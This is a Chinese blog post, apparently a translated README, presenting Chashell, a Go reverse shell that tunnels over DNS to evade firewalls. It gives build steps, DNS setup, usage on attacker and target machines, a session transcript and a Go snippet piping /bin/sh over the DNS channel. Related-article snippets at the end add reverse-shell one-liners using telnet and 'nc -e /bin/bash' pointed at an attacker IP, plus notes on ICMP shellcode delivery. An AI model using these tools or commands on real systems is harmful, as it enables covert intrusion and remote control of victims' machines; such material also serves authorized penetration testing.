Chashell:基于DNS的反向Shell

一颗小胡椒2021-12-26 22:59:41

Chashell是一个由Go编写的基于DNS进行通信的反向shell。它可用于绕过防火墙或严格限制的网络。

它带有一个名为chaserv的多客户端控制服务器。

通信安全

每个数据包都使用对称加密(XSalsa20 + Poly1305)进行加密,客户端和服务器之间使用共享密钥。

我们计划在未来实现非对称加密。

协议

Chashell使用Protocol Buffers序列化消息进行通信。作为参考,协议缓冲区结构(.proto文件)在proto文件夹中可用。

这是一个(简化的)通信图表:

请记住,每个数据包都经过加密,十六进制编码,然后被打包用于DNS传输。

支持的系统

Chashell可以在任何支持Go编译器的桌面系统使用(如Windows,Linux,Darwin,BSD衍生版本)。

我们已在以下系统进行了测试:

Windows (386/amd64)
Linux (386/amd64/arm64)
OS X (386/amd64)

Chaserv/Chashell 使用

构建

在运行这些命令之前,请确保已正确配置GOPATH环境变量。

构建所有二进制文件(根据需要调整domain_name和encryption_key):

$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))')
$ export DOMAIN_NAME=c.sysdream.com
$ make build-all

为特定平台构建:

$ make build-all OSARCH="linux/arm"

仅构建服务器:

$ make build-server

仅构建客户端(chashell本身):

$ make build-client

DNS 设置

购买并配置你选择的域名。

设置DNS记录:

chashell 300 IN A [SERVERIP]
c 300 IN NS chashell.[DOMAIN].

使用

在服务器端(攻击者的计算机),你必须使用chaserv二进制文件。对于客户端(即目标),请使用chashell二进制文件。

因此:

在控制服务器运行chaserv
在目标计算机运行chashell

客户端现在应该回连到chaserv:

[n.chatelain]$ sudo ./chaserv
chashell >>> New session : 5c54404419e59881dfa3a757
chashell >>> sessions 5c54404419e59881dfa3a757
Interacting with session 5c54404419e59881dfa3a757.
whoami
n.chatelain
ls /
bin
boot
dev
[...]
usr
var

使用sessions [sessionid]命令与客户端进行交互。与之交互过程中,你可以使用background命令将会话转为后台执行,并返回到chashell提示符。

使用exit命令关闭chaserv。

实现自己的反向 shell

chashell/lib/transport库与io.Reader/io.Writer接口兼容。因此,实现反向shell非常简单:

cmd := exec.Command("/bin/sh")
dnsTransport := transport.DNSStream(targetDomain, encryptionKey)
cmd.Stdout = dnsTransport
cmd.Stderr = dnsTransport
cmd.Stdin = dnsTransport
cmd.Run()

未来计划

实现非对称加密(Curve25519,XSalsa20和Poly1305)
使用InfoPacket消息检索主机名
创建代理/中继工具隧道TCP/UDP流(通过DNS进行Meterpreter!)
更好的错误处理
摆脱依赖
dnsshell
本作品采用《CC 协议》,转载必须注明作者和本文链接
其中一些工具是 CQURE 团队首次向世界公开发布的。如果可以使用 Shell 命令,则可以使用 Sampler 暂时将其可视化。受害者使用特定的目标移动应用程序扫描 QR 码。攻击者获得对受害者帐户的控制权。该服务正在与攻击者的会话交换所有受害者的数据。
(翻译版)Numpy反序列化命令执行浅析代码审计Python安全编码和代码审计Python代码审计连载之一:CSRF?p=738Python代码审计连载之三:Server Side Request?p=744Python代码审计连载之四:Command Execution?p=747Dangerous Python Functions, Part 1Dangerous Python Functions, Part 2Dangerous Python Functions, Part 3记一下PythonWeb代码审计应该注意的地方廖新喜大佬的python代码审计工具来自openstack安全团队的python代码静态审计工具来自openstack安全团队的python代码静态审计工具2代码审计工具pytxfkxfk的python自动化代码审计?
Chashell是一个由Go编写的基于DNS进行通信的反向shell。它可用于绕过防火墙或严格限制的网络。它带有一个名为chaserv的多客户端控制服务器。+ Poly1305)进行加密,客户端和服务器之间使用共享密钥。
一个内网安全攻防的知识仓库
信息搜集:开源情报信息收集、创建企业密码字典进入内网:基于企业弱账号漏洞、基于系统漏洞进入、网站应用程序渗透隐匿攻击:Command and Control、代理内网跨边界应用:内网跨边界转发、内网跨边界代理穿透、shell反弹等
使用 ICMP 传递 shellcode
2021-02-17 21:59:14
在研究不同的渗透方法时,我遇到了一种利用DNS的技术。在编写概念证明代码时,我注意到实现的ping函数很有趣。我们可以提供一个可容纳65,500字节的缓冲区。由于大小限制很大,我们可以将shellcode加载到我们的ICMP请求中,然后将其注入到目标的进程中。
是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。telnet反弹nc -lvvp 444 #攻击者主机上执行监听rm -f /tmp/p; mknod /tmp/p p && telnet x.x.x.x 4444 0/tmp/p #目标主机上执行。监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip反弹shell成功后,在监听4444端口的终端中执行命令可以在另一个终端中看到命令执行结果。 nc反弹nc -lvvp portnc -e /bin/bash x.x.x.x port
域名准备选择哪家的云都没问题,这里我选择的TX云,因为之前注册过了,自己拿来做个流量分析不成问题。域名添加解析记录需要准备自己的vps作为DNS隧道的服务端,且需要添加ns记录iodined关闭53端口关闭开机自启systemctl?“D”的数量随级别增加。
前言看到一篇文章讲到这个内容,就打算自己也整理一下顺便梳理一下思路0X01 信息收集1.收集系统信息:系统信息至关重要,关乎我们后面怎么提权中文系统:systeminfo|findstr /B /C:"OS 名称" /C:"OS 版本". OS 名称: Microsoft Windows Server 2008 R2 Standard. 禁用 入站 Internet Explorer / C:\Program Files \In. 800 TCP 启用 入站 test
之前在网上看到很多师傅们总结的linux反弹shell的一些方法,为了更熟练的去运用这些技术,于是自己花精力查了很多资料去理解这些命令的含义,将研究的成果记录在这里,所谓的反弹shell,指的是我们在自己的机器上开启监听,然后在被攻击者的机器上发送连接请求去连接我们的机器,将被攻击者的shell反弹到我们的机器上,下面来介绍分析几种常用的方法。
一颗小胡椒
暂无描述